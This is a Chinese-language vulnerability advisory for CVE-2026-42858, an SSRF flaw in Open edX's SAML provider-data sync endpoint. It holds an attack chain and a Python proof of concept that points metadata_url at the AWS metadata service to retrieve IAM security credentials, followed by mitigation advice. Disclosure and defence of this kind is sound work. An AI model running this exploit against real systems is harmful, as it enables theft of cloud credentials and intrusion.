IPBUF安全漏洞报告
English
CVE-2026-42858 CVSS 8.5 高危

CVE-2026-42858 Open edX Platform SSRF漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-42858
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open edX Platform

相关标签

SSRFOpen edXCVE-2026-42858RCEInformation Disclosure

漏洞概述

Open edX Platform中的SAMLProviderDataViewSet存在服务端请求伪造(SSRF)漏洞。该组件的sync_provider_data端点允许经过身份验证的Enterprise Admin用户通过metadata_url参数提交任意URL。由于系统在fetch_metadata_xml()函数中未对该URL进行任何验证、IP过滤或协议限制,攻击者可利用此漏洞强制服务器向内部网络服务或云元数据端点发起HTTP请求,可能导致敏感信息泄露。

技术细节

该漏洞源于Open edX Platform在处理SAML提供者数据同步时的输入验证缺失。具体而言,SAMLProviderDataViewSet的sync_provider_data接口接收用户提供的metadata_url参数,并直接将其传递给requests.get()函数以获取元数据。由于缺乏对目标URL的合法性校验(如内网IP检查)、协议限制以及DNS重绑定防护,拥有Enterprise Admin权限的攻击者可以构造恶意请求,诱导服务器向AWS元数据服务(169.254.169.254)或其他内网敏感资源发起请求。CVSS向量S:C表明该漏洞具有改变范围的能力,可能影响同一安全域内的其他系统。

攻击链分析

STEP 1
1. 权限获取
攻击者获取Open edX平台的Enterprise Admin权限账户。
STEP 2
2. 探口识别
定位到SAMLProviderDataViewSet中的sync_provider_data端点。
STEP 3
3. 恶意请求构造
攻击者构造POST请求,在metadata_url参数中填入内网敏感地址(如AWS元数据服务IP)。
STEP 4
4. 服务端请求发起
服务器端fetch_metadata_xml()函数直接调用requests.get()访问攻击者指定的URL。
STEP 5
5. 信息泄露
内网服务响应请求,将敏感数据(如云凭证)返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-42858 # Requires Enterprise Admin privileges target_host = "https://target-openedx-domain.com" endpoint = "/api/saml/v1/providerdata/sync_provider_data/" # Example internal target (AWS Metadata Service) malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Content-Type": "application/x-www-form-urlencoded", # "Authorization": "Bearer <token>" # Auth token if required } data = { "metadata_url": malicious_url } try: response = requests.post(target_host + endpoint, headers=headers, data=data, verify=False) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Error: {e}")

影响范围

Open edX Platform (Commit 6fda1f120ff5a590d120ae1180185525f399c6d0 之前)
Open edX Platform (Commit 70a56246dd9c9df57c596e64bdd8a11b1d9da054 之前)

防御指南

临时缓解措施
在应用补丁前,建议通过网络ACL或安全组限制Open edX服务器对内网及公有云元数据服务(如169.254.169.254)的出站访问。同时,严格审查并缩减拥有Enterprise Admin权限的用户列表,监控该端点的异常请求流量。

参考链接